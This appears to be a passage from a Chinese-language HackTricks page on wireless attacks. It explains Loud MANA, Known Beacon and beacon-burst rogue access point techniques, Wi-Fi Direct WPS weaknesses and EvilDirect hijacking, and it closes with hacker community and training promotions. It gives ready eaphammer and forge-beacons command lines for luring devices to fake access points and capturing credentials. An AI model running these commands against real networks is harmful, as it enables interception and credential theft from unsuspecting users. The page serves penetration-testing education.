一个Loud MANA 攻击是一种高级策略适用于设备不使用定向探测或其首选网络列表PNL对攻击者未知的情况。它的原理是同一区域内的设备很可能在其 PNL 中共享一些网络名称。该攻击不是选择性响应,而是对所有观察到的设备的组合 PNL 中找到的每个网络名称ESSID广播探测响应。这种广泛的方法增加了设备识别熟悉网络并尝试连接到恶意接入点AP的机会。

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA attack可能不足以满足需求时,Known Beacon attack提供了另一种方法。此方法通过模拟一个响应任何网络名称的AP暴力破解连接过程循环遍历从字典中派生的潜在ESSID列表。这模拟了众多网络的存在希望能与受害者的PNL中的ESSID匹配从而促使尝试连接到伪造的AP。通过将其与--loud选项结合,可以增强攻击,以更具侵略性地捕获设备。

Eaphammer将此攻击实现为MANA攻击其中列表中的所有ESSID都被充电您还可以将其与--loud结合以创建Loud MANA + Known beacons attack

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

已知信标突发攻击

已知信标突发攻击涉及快速广播文件中列出的每个 ESSID 的信标帧。这会创建一个密集的虚假网络环境,极大地提高设备连接到恶意 AP 的可能性,尤其是在与 MANA 攻击结合使用时。该技术利用速度和数量来压倒设备的网络选择机制。

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct 是一种协议,使设备能够直接通过 Wi-Fi 连接,而无需传统的无线接入点。此功能集成在各种物联网 (IoT) 设备中如打印机和电视促进设备之间的直接通信。Wi-Fi Direct 的一个显著特点是一个设备充当接入点,称为组所有者,以管理连接。

Wi-Fi Direct 连接的安全性通过 Wi-Fi Protected Setup (WPS) 建立,支持多种安全配对方法,包括:

  • Push-Button Configuration (PBC)
  • PIN 输入
  • 近场通信 (NFC)

这些方法,特别是 PIN 输入,容易受到与传统 Wi-Fi 网络中 WPS 相同的漏洞影响,使其成为类似攻击向量的目标。

EvilDirect Hijacking

EvilDirect Hijacking 是一种特定于 Wi-Fi Direct 的攻击。它反映了 Evil Twin 攻击的概念,但针对 Wi-Fi Direct 连接。在这种情况下,攻击者冒充合法的组所有者,目的是欺骗设备连接到恶意实体。此方法可以使用 airbase-ng 等工具执行通过指定通道、ESSID 和被冒充设备的 MAC 地址:

References

TODO: 查看 https://github.com/wifiphisher/wifiphisher (使用 Facebook 登录并模仿 WPA 在强制门户中)

加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!

Hacking Insights
参与深入探讨黑客的刺激与挑战的内容

Real-Time Hack News
通过实时新闻和见解,跟上快速变化的黑客世界

Latest Announcements
及时了解最新的漏洞赏金发布和重要平台更新

Join us on Discord 并立即与顶级黑客合作!

{% hint style="success" %} 学习与实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习与实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks
{% endhint %}